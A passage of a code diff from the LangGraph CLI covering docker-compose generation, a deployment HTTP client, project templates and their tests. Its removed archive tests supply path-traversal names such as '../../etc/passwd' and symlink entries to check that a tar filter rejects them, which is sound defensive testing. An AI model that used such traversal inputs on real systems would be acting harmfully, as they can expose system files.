for name, path in executor_additional_contexts.items()
)
if executor_additional_contexts_str:
executor_additional_contexts_str = f"""
additional_contexts:
{executor_additional_contexts_str}"""
postgres_uri = "postgres://postgres:postgres@langgraph-postgres:5432/postgres?sslmode=disable"
result += f""" langgraph-orchestrator:
image: langchain/langgraph-orchestrator-licensed:latest
depends_on:
langgraph-api:
condition: service_healthy
langgraph-postgres:
condition: service_healthy
environment:
DATABASE_URI: {postgres_uri}
EXECUTOR_TARGET: langgraph-executor:8188
{env_file_str}
langgraph-executor:
depends_on:
langgraph-postgres:
condition: service_healthy
langgraph-api:
condition: service_healthy
entrypoint: ["sh", "/storage/executor_entrypoint.sh"]
environment:
DATABASE_URI: {postgres_uri}
REDIS_URI: redis://langgraph-redis:6379
EXECUTOR_GRPC_PORT: "8188"
ENGINE_GRPC_ADDRESS: "langgraph-orchestrator:50054"
LSD_GRPC_SERVER_ADDRESS: "localhost:50050"
LANGGRAPH_HTTP: ""
{env_file_str}
pull_policy: build
build:
context: .{executor_additional_contexts_str}
dockerfile_inline: |
{textwrap.indent(executor_dockerfile, " ")}
"""
return result
File diff suppressed because it is too large Load Diff
+4 -139
View File
@@ -1,14 +1,10 @@
import copy
import json
import pathlib
import platform
import shutil
from collections.abc import Callable, Sequence
from typing import Literal, NamedTuple
import click.exceptions
import langgraph_cli.config
from langgraph_cli.exec import subp_exec
ROOT = pathlib.Path(__file__).parent.resolve()
@@ -49,54 +45,6 @@ def _parse_version(version: str) -> Version:
)
def can_build_locally() -> tuple[bool, str | None]:
"""Return whether local deployment builds can run on this machine.
Checks:
- Docker binary is installed
- Docker daemon is running
- Buildx is available when cross-compilation is required (non-x86_64)
"""
if shutil.which("docker") is None:
return (
False,
"Docker is required but not installed.\n"
"Install Docker Desktop: https://docs.docker.com/get-docker/",
)
try:
import subprocess
docker_info = subprocess.run(
["docker", "info"],
capture_output=True,
timeout=10,
)
if docker_info.returncode != 0:
return (
False,
"Docker is installed but not running.\nStart Docker and try again.",
)
if platform.machine() != "x86_64":
buildx = subprocess.run(
["docker", "buildx", "version"],
capture_output=True,
timeout=10,
)
if buildx.returncode != 0:
return (
False,
"Docker Buildx is required but not installed.\n"
"Your machine architecture ("
+ platform.machine()
+ ") requires Buildx to cross-compile images for linux/amd64.\n"
"Install Buildx: https://docs.docker.com/build/install-buildx/",
)
return True, None
except Exception:
return False, "Unable to verify local Docker build support."
def check_capabilities(runner) -> DockerCapabilities:
# check docker available
if shutil.which("docker") is None:
@@ -201,7 +149,6 @@ def compose_as_dict(
base_image: str | None = None,
# API version of the base image
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
) -> dict:
"""Create a docker compose file as a dictionary in YML style."""
if postgres_uri is None:
@@ -260,19 +207,15 @@ def compose_as_dict(
)["langgraph-debugger"]
# Add langgraph-api service
api_environment = {
"REDIS_URI": "redis://langgraph-redis:6379",
"POSTGRES_URI": postgres_uri,
}
if engine_runtime_mode == "distributed":
api_environment["N_JOBS_PER_WORKER"] = '"0"'
services["langgraph-api"] = {
"ports": [f'"{port}:8000"'],
"depends_on": {
"langgraph-redis": {"condition": "service_healthy"},
},
"environment": api_environment,
"environment": {
"REDIS_URI": "redis://langgraph-redis:6379",
"POSTGRES_URI": postgres_uri,
},
}
if image:
services["langgraph-api"]["image"] = image
@@ -312,7 +255,6 @@ def compose(
image: str | None = None,
base_image: str | None = None,
api_version: str | None = None,
engine_runtime_mode: str = "combined_queue_worker",
) -> str:
"""Create a docker compose file as a string."""
compose_content = compose_as_dict(
@@ -324,83 +266,6 @@ def compose(
image=image,
base_image=base_image,
api_version=api_version,
engine_runtime_mode=engine_runtime_mode,
)
compose_str = dict_to_yaml(compose_content)
return compose_str
def build_docker_image(
runner,
set: Callable[[str], None],
config: pathlib.Path,
config_json: dict,
base_image: str | None,
api_version: str | None,
pull: bool,
tag: str,
passthrough: Sequence[str] = (),
install_command: str | None = None,
build_command: str | None = None,
docker_command: Sequence[str] | None = None,
extra_flags: Sequence[str] = (),
verbose: bool = True,
):
"""Build a Docker image from a LangGraph config."""
# pull latest images
if pull:
runner.run(
subp_exec(
"docker",
"pull",
langgraph_cli.config.docker_tag(config_json, base_image, api_version),
verbose=verbose,
)
)
set("Building...")
# apply options
args = [
"-f",
"-", # stdin
"-t",
tag,
]
# determine build context: use current directory for JS projects, config parent for Python
is_js_project = config_json.get("node_version") and not config_json.get(
"python_version"
)
# build/install commands only apply to JS projects for now
# without install/build command, JS projects will follow the old behavior
if is_js_project and (build_command or install_command):
build_context = str(pathlib.Path.cwd())
else:
build_context = str(config.parent)
# Deep copy to avoid mutating the caller's config (config_to_docker
# rewrites graph paths to container-internal paths in place).
config_json = copy.deepcopy(config_json)
stdin, additional_contexts = langgraph_cli.config.config_to_docker(
config_path=config,
config=config_json,
base_image=base_image,
api_version=api_version,
install_command=install_command,
build_command=build_command,
build_context=build_context,
)
# add additional_contexts
if additional_contexts:
for k, v in additional_contexts.items():
args.extend(["--build-context", f"{k}={v}"])
cmd = tuple(docker_command) if docker_command else ("docker", "build")
runner.run(
subp_exec(
*cmd,
*args,
*extra_flags,
*passthrough,
build_context,
input=stdin,
verbose=verbose,
)
)
-199
View File
@@ -1,199 +0,0 @@
"""HTTP client for LangGraph host backend deployments."""
from __future__ import annotations
from typing import Any
import click
import httpx
class HostBackendError(click.ClickException):
"""Raised when the host backend returns an error response."""
def __init__(self, message: str, status_code: int | None = None):
super().__init__(message)
self.status_code = status_code
class HostBackendClient:
"""Minimal JSON HTTP client for the host backend deployment service."""
def __init__(
self,
base_url: str,
api_key: str,
tenant_id: str | None = None,
):
if not base_url:
raise click.UsageError("Host backend URL is required")
transport = httpx.HTTPTransport(retries=3)
headers: dict[str, str] = {
"X-Api-Key": api_key,
"Accept": "application/json",
}
if tenant_id:
headers["X-Tenant-ID"] = tenant_id
self._base_url = base_url.rstrip("/")
self._client = httpx.Client(
base_url=self._base_url,
headers=headers,
transport=transport,
timeout=30,
)
def _request(
self,
method: str,
path: str,
payload: dict[str, Any] | None = None,
params: dict[str, Any] | None = None,
) -> Any:
try:
resp = self._client.request(method, path, json=payload, params=params)
resp.raise_for_status()
except httpx.HTTPStatusError as err:
detail = err.response.text or str(err.response.status_code)
raise HostBackendError(
f"{method} {path} failed with status {err.response.status_code}: {detail}",
status_code=err.response.status_code,
) from None
except httpx.TransportError as err:
raise HostBackendError(str(err)) from None
if not resp.content:
return None
try:
return resp.json()
except ValueError as err:
raise HostBackendError(
f"Failed to decode response from {path}: {err}"
) from None
def create_deployment(
self,
name: str,
deployment_type: str,
source: str,
config_path: str | None = None,
secrets: list[dict[str, str]] | None = None,
) -> dict[str, Any]:
"""Create a deployment."""
payload: dict[str, Any] = {
"name": name,
"source": source,
"source_config": {"deployment_type": deployment_type},
"source_revision_config": {},
}
if source == "internal_source" and config_path:
payload["source_revision_config"]["langgraph_config_path"] = config_path
if secrets is not None:
payload["secrets"] = secrets
return self._request("POST", "/v2/deployments", payload)
def list_deployments(self, name_contains: str = "") -> dict[str, Any]:
return self._request(
"GET",
"/v2/deployments",
params={"name_contains": name_contains},
)
def get_deployment(self, deployment_id: str) -> dict[str, Any]:
return self._request("GET", f"/v2/deployments/{deployment_id}")
def delete_deployment(self, deployment_id: str) -> None:
return self._request("DELETE", f"/v2/deployments/{deployment_id}")
def request_push_token(self, deployment_id: str) -> dict[str, Any]:
return self._request(
"POST",
f"/v2/deployments/{deployment_id}/push-token",
)
def request_upload_url(self, deployment_id: str) -> dict[str, Any]:
"""Get a signed GCS URL for uploading the source tarball."""
return self._request(
"POST",
f"/v2/deployments/{deployment_id}/upload-url",
)
def update_deployment(
self,
deployment_id: str,
image_uri: str,
secrets: list[dict[str, str]] | None = None,
) -> dict[str, Any]:
payload: dict[str, Any] = {
"revision_source": "internal_docker",
"source_revision_config": {"image_uri": image_uri},
}
if secrets is not None:
payload["secrets"] = secrets
return self._request(
"PATCH",
f"/v2/deployments/{deployment_id}",
payload,
)
def update_deployment_internal_source(
self,
deployment_id: str,
source_tarball_path: str,
config_path: str,
secrets: list[dict[str, str]] | None = None,
install_command: str | None = None,
build_command: str | None = None,
) -> dict[str, Any]:
"""Trigger a remote build revision with the uploaded tarball."""
payload: dict[str, Any] = {
"revision_source": "internal_source",
"source_revision_config": {
"source_tarball_path": source_tarball_path,
"langgraph_config_path": config_path,
},
}
source_config: dict[str, Any] = {}
if install_command is not None:
source_config["install_command"] = install_command
if build_command is not None:
source_config["build_command"] = build_command
if source_config:
payload["source_config"] = source_config
if secrets is not None:
payload["secrets"] = secrets
return self._request("PATCH", f"/v2/deployments/{deployment_id}", payload)
def list_revisions(self, deployment_id: str, limit: int = 1) -> dict[str, Any]:
return self._request(
"GET",
f"/v2/deployments/{deployment_id}/revisions?limit={limit}",
)
def get_revision(self, deployment_id: str, revision_id: str) -> dict[str, Any]:
return self._request(
"GET",
f"/v2/deployments/{deployment_id}/revisions/{revision_id}",
)
def get_build_logs(
self, project_id: str, revision_id: str, payload: dict[str, Any]
) -> Any:
return self._request(
"POST",
f"/v1/projects/{project_id}/revisions/{revision_id}/build_logs",
payload,
)
def get_deploy_logs(
self,
project_id: str,
payload: dict[str, Any],
revision_id: str | None = None,
) -> Any:
if revision_id:
path = f"/v1/projects/{project_id}/revisions/{revision_id}/deploy_logs"
else:
path = f"/v1/projects/{project_id}/deploy_logs"
return self._request("POST", path, payload)
+5 -33
View File
@@ -12,15 +12,8 @@ class Progress:
while True:
yield from "|/-\\"
def __init__(self, *, message="", elapsed: bool = False):
def __init__(self, *, message=""):
self.message = message
self._base_message = message
self._show_elapsed = elapsed
# use this to make sure we don't kill thread when we set msg to ""
self._stop = threading.Event()
# signalled when the spinner has no text on screen
self._line_clear = threading.Event()
self._line_clear.set()
self.spinner_generator = self.spinning_cursor()
def spinner_iteration(self):
@@ -36,26 +29,9 @@ class Progress:
)
sys.stdout.flush()
def _format_elapsed(self, seconds: float) -> str:
mins, secs = divmod(int(seconds), 60)
if mins:
return f"{self._base_message} ({mins}m {secs:02d}s)"
return f"{self._base_message} ({secs}s)"
def spinner_task(self):
start = time.monotonic()
while not self._stop.is_set():
if not self.message:
self._line_clear.set()
time.sleep(self.delay)
continue
if self._show_elapsed:
self.message = self._format_elapsed(time.monotonic() - start)
while self.message:
message = self.message
if not message:
self._line_clear.set()
continue
self._line_clear.clear()
sys.stdout.write(next(self.spinner_generator) + " " + message)
sys.stdout.flush()
time.sleep(self.delay)
@@ -66,7 +42,6 @@ class Progress:
+ "\b" * (len(message) + 2)
)
sys.stdout.flush()
self._line_clear.set()
def __enter__(self) -> Callable[[str], None]:
if sys.stdout.isatty():
@@ -75,24 +50,21 @@ class Progress:
def set_message(message):
self.message = message
self._base_message = message or self._base_message
if not message:
self._line_clear.wait(timeout=0.5)
self.thread.join()
return set_message
else:
def set_message(message):
if message:
sys.stderr.write(message + "\n")
sys.stderr.flush()
sys.stderr.write(message + "\n")
sys.stderr.flush()
return set_message
def __exit__(self, exception, value, tb):
if sys.stdout.isatty():
self.message = ""
self._stop.set()
try:
self.thread.join()
finally:
+55 -19
View File
@@ -8,20 +8,31 @@ from zipfile import ZipFile
import click
TEMPLATES: dict[str, dict[str, str]] = {
"Deep Agent": {
"description": "An opinionated deployment template for a Deep Agent.",
"python": "https://github.com/langchain-ai/deep-agent-template/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/deep-agent-template-js/archive/refs/heads/main.zip",
},
"Agent": {
"description": "A simple agent that can be flexibly extended to many tools.",
"python": "https://github.com/langchain-ai/simple-agent-template/archive/refs/heads/main.zip",
},
"New LangGraph Project": {
"description": "A simple, minimal chatbot with memory.",
"python": "https://github.com/langchain-ai/new-langgraph-project/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/new-langgraphjs-project/archive/refs/heads/main.zip",
},
"ReAct Agent": {
"description": "A simple agent that can be flexibly extended to many tools.",
"python": "https://github.com/langchain-ai/react-agent/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/react-agent-js/archive/refs/heads/main.zip",
},
"Memory Agent": {
"description": "A ReAct-style agent with an additional tool to store memories for use across conversational threads.",
"python": "https://github.com/langchain-ai/memory-agent/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/memory-agent-js/archive/refs/heads/main.zip",
},
"Retrieval Agent": {
"description": "An agent that includes a retrieval-based question-answering system.",
"python": "https://github.com/langchain-ai/retrieval-agent-template/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/retrieval-agent-template-js/archive/refs/heads/main.zip",
},
"Data-enrichment Agent": {
"description": "An agent that performs web searches and organizes its findings into a structured format.",
"python": "https://github.com/langchain-ai/data-enrichment/archive/refs/heads/main.zip",
"js": "https://github.com/langchain-ai/data-enrichment-js/archive/refs/heads/main.zip",
},
}
# Generate TEMPLATE_IDS programmatically
@@ -67,25 +78,19 @@ def _choose_template() -> str:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return _choose_template()
template_info = TEMPLATES[selected_template]
available_langs = [lang for lang in ("python", "js") if lang in template_info]
# Prompt the user to choose between Python or JS/TS version
click.secho(
f"\nYou selected: {selected_template} - {template_info['description']}",
f"\nYou selected: {selected_template} - {TEMPLATES[selected_template]['description']}",
fg="green",
)
if len(available_langs) == 1:
return template_info[available_langs[0]]
version_choice: int = click.prompt(
"Choose language (1 for Python 🐍, 2 for JS/TS 🌐)", type=int
)
if version_choice == 1:
return template_info["python"]
return TEMPLATES[selected_template]["python"]
elif version_choice == 2:
return template_info["js"]
return TEMPLATES[selected_template]["js"]
else:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return _choose_template()
@@ -125,6 +130,37 @@ def _download_repo_with_requests(repo_url: str, path: str) -> None:
sys.exit(1)
def _get_template_url(template_name: str) -> str | None:
"""
Retrieves the template URL based on the provided template name.
Args:
template_name: The name of the template.
Returns:
Optional[str]: The URL of the template if found, else None.
"""
if template_name in TEMPLATES:
click.secho(f"Template selected: {template_name}", fg="green")
version_choice: int = click.prompt(
"Choose version (1 for Python 🐍, 2 for JS/TS 🌐)", type=int
)
if version_choice == 1:
return TEMPLATES[template_name]["python"]
elif version_choice == 2:
return TEMPLATES[template_name]["js"]
else:
click.secho("❌ Invalid choice. Please try again.", fg="red")
return None
else:
click.secho(
f"Template '{template_name}' not found. Please select from the available options.",
fg="red",
)
return None
def create_new(path: str | None, template: str | None) -> None:
"""Create a new LangGraph project at the specified PATH using the chosen TEMPLATE.
-2
View File
@@ -1,5 +1,3 @@
"""General-purpose utilities shared across the LangGraph CLI."""
import click
+1 -3
View File
@@ -13,10 +13,7 @@ license = "MIT"
license-files = ['LICENSE']
dependencies = [
"click>=8.1.7",
"httpx>=0.24.0",
"langgraph-sdk>=0.1.0 ; python_version >= '3.11'",
"pathspec>=0.11.0",
"python-dotenv>=0.8.0",
]
[tool.hatch.version]
path = "langgraph_cli/__init__.py"
@@ -24,6 +21,7 @@ path = "langgraph_cli/__init__.py"
inmem = [
"langgraph-api>=0.5.35,<0.8.0 ; python_version >= '3.11'",
"langgraph-runtime-inmem>=0.7 ; python_version >= '3.11'",
"python-dotenv>=0.8.0",
]
[project.urls]
-505
View File
@@ -9,7 +9,6 @@ from pathlib import Path
from click.testing import CliRunner
import langgraph_cli.deploy as deploy_module
from langgraph_cli.cli import cli, prepare_args_and_stdin
from langgraph_cli.config import Config, _get_pip_cleanup_lines, validate_config
from langgraph_cli.docker import DEFAULT_POSTGRES_URI, DockerCapabilities, Version
@@ -288,374 +287,6 @@ def test_version_option() -> None:
)
def test_top_level_help_shows_deploy_subcommands() -> None:
runner = CliRunner()
result = runner.invoke(cli, ["--help"])
assert result.exit_code == 0, result.output
assert "deploy" in result.output
assert "deploy list" in result.output
assert "deploy delete" in result.output
assert "deploy revisions" in result.output
assert "deploy revisions list" in result.output
assert "[Beta] List LangSmith Deployments." in result.output
def test_top_level_help_truncates_command_descriptions_to_single_line() -> None:
runner = CliRunner()
result = runner.invoke(cli, ["--help"])
assert result.exit_code == 0, result.output
lines = result.output.splitlines()
deploy_line = next(line for line in lines if line.strip().startswith("deploy"))
deploy_list_line = next(
line for line in lines if line.strip().startswith("deploy list")
)
assert not lines[lines.index(deploy_line) + 1].startswith(" ")
assert "..." in deploy_line
assert "[Beta] List LangSmith Deployments." in deploy_list_line
def test_deploy_list_command(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def list_deployments(self, name_contains: str = ""):
captured["name_contains"] = name_contains
return {
"resources": [
{
"id": "dep-123",
"name": "alpha",
"source_config": {"custom_url": "https://alpha.example.com"},
},
{
"id": "dep-456",
"name": "beta",
"source_config": {"custom_url": "https://beta.example.com"},
},
]
}
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"--name-contains",
"alp",
],
)
assert result.exit_code == 0, result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"name_contains": "alp",
}
assert "Deployment ID" in result.output
assert "Deployment Name" in result.output
assert "Deployment URL" in result.output
assert "dep-123" in result.output
assert "https://beta.example.com" in result.output
def test_deploy_list_command_no_results(monkeypatch) -> None:
runner = CliRunner()
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def list_deployments(self, name_contains: str = ""):
return {"resources": []}
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
],
)
assert result.exit_code == 0, result.output
assert result.output.strip() == "No deployments found."
def test_deploy_revisions_list_command(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def list_revisions(self, deployment_id: str, limit: int = 1):
captured["deployment_id"] = deployment_id
captured["limit"] = str(limit)
return {
"resources": [
{
"id": "rev-123",
"status": "CREATING",
"created_at": "2023-11-07T05:31:56Z",
},
{
"id": "rev-456",
"status": "DEPLOYED",
"created_at": "2023-11-08T10:00:00Z",
},
]
}
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"revisions",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
)
assert result.exit_code == 0, result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"deployment_id": "dep-123",
"limit": "10",
}
assert "Revision ID" in result.output
assert "Status" in result.output
assert "Created At" in result.output
assert "rev-123" in result.output
assert "2023-11-08T10:00:00Z" in result.output
def test_deploy_revisions_list_command_no_results(monkeypatch) -> None:
runner = CliRunner()
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def list_revisions(self, deployment_id: str, limit: int = 1):
return {"resources": []}
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"revisions",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
)
assert result.exit_code == 0, result.output
assert result.output.strip() == "No revisions found for deployment dep-123."
def test_deploy_revisions_list_command_with_explicit_limit(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def list_revisions(self, deployment_id: str, limit: int = 1):
captured["deployment_id"] = deployment_id
captured["limit"] = str(limit)
return {"resources": []}
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"revisions",
"list",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"--limit",
"25",
"dep-123",
],
)
assert result.exit_code == 0, result.output
assert captured == {"deployment_id": "dep-123", "limit": "25"}
assert result.output.strip() == "No revisions found for deployment dep-123."
def test_deploy_revisions_list_missing_deployment_id_shows_usage() -> None:
runner = CliRunner()
result = runner.invoke(cli, ["deploy", "revisions", "list"])
assert result.exit_code == 2, result.output
assert "Missing argument 'DEPLOYMENT_ID'" in result.output
def test_deploy_delete_command(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def delete_deployment(self, deployment_id: str):
captured["deployment_id"] = deployment_id
return None
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
input="y\n",
)
assert result.exit_code == 0, result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"deployment_id": "dep-123",
}
assert (
"Are you sure you want to delete deployment ID dep-123? (Y/n):" in result.output
)
assert result.output.strip().endswith("Deleted deployment dep-123.")
def test_deploy_delete_command_cancelled(monkeypatch) -> None:
runner = CliRunner()
deleted = False
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
pass
def delete_deployment(self, deployment_id: str):
nonlocal deleted
deleted = True
return None
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
input="n\n",
)
assert result.exit_code == 1, result.output
assert not deleted
assert "Aborted!" in result.output
def test_deploy_delete_command_force(monkeypatch) -> None:
runner = CliRunner()
captured: dict[str, str] = {}
class FakeClient:
def __init__(self, host_url: str, api_key: str, tenant_id: str | None = None):
captured["host_url"] = host_url
captured["api_key"] = api_key
captured["tenant_id"] = tenant_id or ""
def delete_deployment(self, deployment_id: str):
captured["deployment_id"] = deployment_id
return None
monkeypatch.setattr(deploy_module, "HostBackendClient", FakeClient)
result = runner.invoke(
cli,
[
"deploy",
"delete",
"--force",
"--api-key",
"test-key",
"--host-url",
"https://api.example.com",
"dep-123",
],
)
assert result.exit_code == 0, result.output
assert "Are you sure you want to delete deployment ID dep-123?" not in result.output
assert captured == {
"host_url": "https://api.example.com",
"api_key": "test-key",
"tenant_id": "",
"deployment_id": "dep-123",
}
assert result.output.strip() == "Deleted deployment dep-123."
def test_dockerfile_command_basic() -> None:
"""Test the 'dockerfile' command with basic configuration."""
runner = CliRunner()
@@ -1191,139 +822,3 @@ def test_prepare_args_and_stdin_with_api_version_and_image() -> None:
# When image is provided, api_version should be ignored for the image
# but the stdin should not contain a build section (since image is provided)
assert "pull_policy: build" not in actual_stdin
def test_dockerfile_command_distributed_mode() -> None:
"""Test the 'dockerfile' command with --engine-runtime-mode distributed."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"distributed",
],
)
assert result.exit_code == 0, result.output
assert "✅ Created: Dockerfile" in result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM langchain/langgraph-executor:3.11" in dockerfile
def test_dockerfile_command_combined_mode() -> None:
"""Test the 'dockerfile' command with --engine-runtime-mode combined_queue_worker."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"combined_queue_worker",
],
)
assert result.exit_code == 0, result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM langchain/langgraph-api:3.11" in dockerfile
def test_dockerfile_command_distributed_with_explicit_base_image() -> None:
"""Test distributed mode with explicit --base-image overrides executor default."""
runner = CliRunner()
config_content = {
"python_version": "3.11",
"graphs": {"agent": "agent.py:graph"},
"dependencies": ["."],
}
with temporary_config_folder(config_content) as temp_dir:
save_path = temp_dir / "Dockerfile"
agent_path = temp_dir / "agent.py"
agent_path.touch()
result = runner.invoke(
cli,
[
"dockerfile",
str(save_path),
"--config",
str(temp_dir / "config.json"),
"--engine-runtime-mode",
"distributed",
"--base-image",
"my-custom-executor:latest",
],
)
assert result.exit_code == 0, result.output
assert save_path.exists()
with open(save_path) as f:
dockerfile = f.read()
assert "FROM my-custom-executor:latest" in dockerfile
def test_prepare_args_and_stdin_distributed_mode() -> None:
"""Test prepare_args_and_stdin with distributed mode includes all services."""
config_path = pathlib.Path(__file__).parent / "langgraph.json"
config = validate_config(
Config(dependencies=["."], graphs={"agent": "agent.py:graph"})
)
port = 8000
actual_args, actual_stdin = prepare_args_and_stdin(
capabilities=DEFAULT_DOCKER_CAPABILITIES,
config_path=config_path,
config=config,
docker_compose=None,
port=port,
watch=False,
engine_runtime_mode="distributed",
)
# API service should use langgraph-api base image
assert "FROM langchain/langgraph-api:" in actual_stdin
# Distributed mode sets N_JOBS_PER_WORKER=0 on the API service
assert 'N_JOBS_PER_WORKER: "0"' in actual_stdin
# Orchestrator service present
assert "langgraph-orchestrator:" in actual_stdin
# Executor service present with correct base image
assert "langgraph-executor:" in actual_stdin
assert "FROM langchain/langgraph-executor:" in actual_stdin
assert "executor_entrypoint.sh" in actual_stdin
-299
View File
@@ -1,299 +0,0 @@
import os
import tarfile
from unittest.mock import patch
import click
import pytest
from langgraph_cli.archive import (
_add_directory,
_build_ignore_spec,
_tar_filter,
create_archive,
)
# ---------------------------------------------------------------------------
# _tar_filter
# ---------------------------------------------------------------------------
class TestTarFilter:
def _make_info(self, name: str, *, type_: int = tarfile.REGTYPE) -> tarfile.TarInfo:
info = tarfile.TarInfo(name=name)
info.type = type_
return info
def test_regular_file_passes(self):
info = self._make_info("src/main.py")
assert _tar_filter(info) is info
def test_symlink_rejected(self):
info = self._make_info("link", type_=tarfile.SYMTYPE)
assert _tar_filter(info) is None
def test_hardlink_rejected(self):
info = self._make_info("link", type_=tarfile.LNKTYPE)
assert _tar_filter(info) is None
def test_path_traversal_rejected(self):
info = self._make_info("../../etc/passwd")
assert _tar_filter(info) is None
def test_path_traversal_in_middle_rejected(self):
info = self._make_info("src/../../../etc/passwd")
assert _tar_filter(info) is None
def test_dotdot_as_name_component_rejected(self):
info = self._make_info("foo/../bar")
assert _tar_filter(info) is None
def test_dotdot_in_filename_allowed(self):
"""A file literally named 'foo..bar' is not traversal."""
info = self._make_info("foo..bar")
assert _tar_filter(info) is info
def test_directory_passes(self):
info = self._make_info("src/", type_=tarfile.DIRTYPE)
assert _tar_filter(info) is info
# ---------------------------------------------------------------------------
# _build_ignore_spec
# ---------------------------------------------------------------------------
class TestBuildIgnoreSpec:
def test_always_excludes_builtins(self, tmp_path):
spec = _build_ignore_spec(tmp_path)
assert spec.match_file("__pycache__/")
assert spec.match_file(".git/")
assert spec.match_file(".venv/")
assert spec.match_file("venv/")
assert spec.match_file("node_modules/")
assert spec.match_file(".tox/")
assert spec.match_file(".mypy_cache/")
def test_regular_file_not_excluded(self, tmp_path):
spec = _build_ignore_spec(tmp_path)
assert not spec.match_file("main.py")
assert not spec.match_file("src/app.py")
def test_merges_dockerignore(self, tmp_path):
(tmp_path / ".dockerignore").write_text("*.log\nbuild/\n")
spec = _build_ignore_spec(tmp_path)
assert spec.match_file("server.log")
assert spec.match_file("build/")
# builtins still present
assert spec.match_file("__pycache__/")
def test_merges_gitignore(self, tmp_path):
(tmp_path / ".gitignore").write_text("*.pyc\ndist/\n")
spec = _build_ignore_spec(tmp_path)
assert spec.match_file("module.pyc")
assert spec.match_file("dist/")
def test_merges_both_ignore_files(self, tmp_path):
(tmp_path / ".dockerignore").write_text("*.log\n")
(tmp_path / ".gitignore").write_text("*.pyc\n")
spec = _build_ignore_spec(tmp_path)
assert spec.match_file("app.log")
assert spec.match_file("mod.pyc")
def test_no_ignore_files_only_builtins(self, tmp_path):
spec = _build_ignore_spec(tmp_path)
assert spec.match_file("__pycache__/")
assert not spec.match_file("README.md")
# ---------------------------------------------------------------------------
# _add_directory
# ---------------------------------------------------------------------------
class TestAddDirectory:
def _create_project(self, tmp_path):
"""Create a small project structure for testing."""
(tmp_path / "main.py").write_text("print('hello')")
(tmp_path / "lib").mkdir()
(tmp_path / "lib" / "util.py").write_text("x = 1")
(tmp_path / "__pycache__").mkdir()
(tmp_path / "__pycache__" / "main.cpython-311.pyc").write_bytes(b"\x00")
return tmp_path
def test_adds_files_without_prefix(self, tmp_path):
project = self._create_project(tmp_path)
spec = _build_ignore_spec(project)
archive_path = tmp_path / "out.tar"
with tarfile.open(archive_path, "w") as tar:
_add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
with tarfile.open(archive_path, "r") as tar:
names = tar.getnames()
assert "main.py" in names
assert "lib/util.py" in names
def test_excludes_pycache(self, tmp_path):
project = self._create_project(tmp_path)
spec = _build_ignore_spec(project)
archive_path = tmp_path / "out.tar"
with tarfile.open(archive_path, "w") as tar:
_add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
with tarfile.open(archive_path, "r") as tar:
names = tar.getnames()
assert not any("__pycache__" in n for n in names)
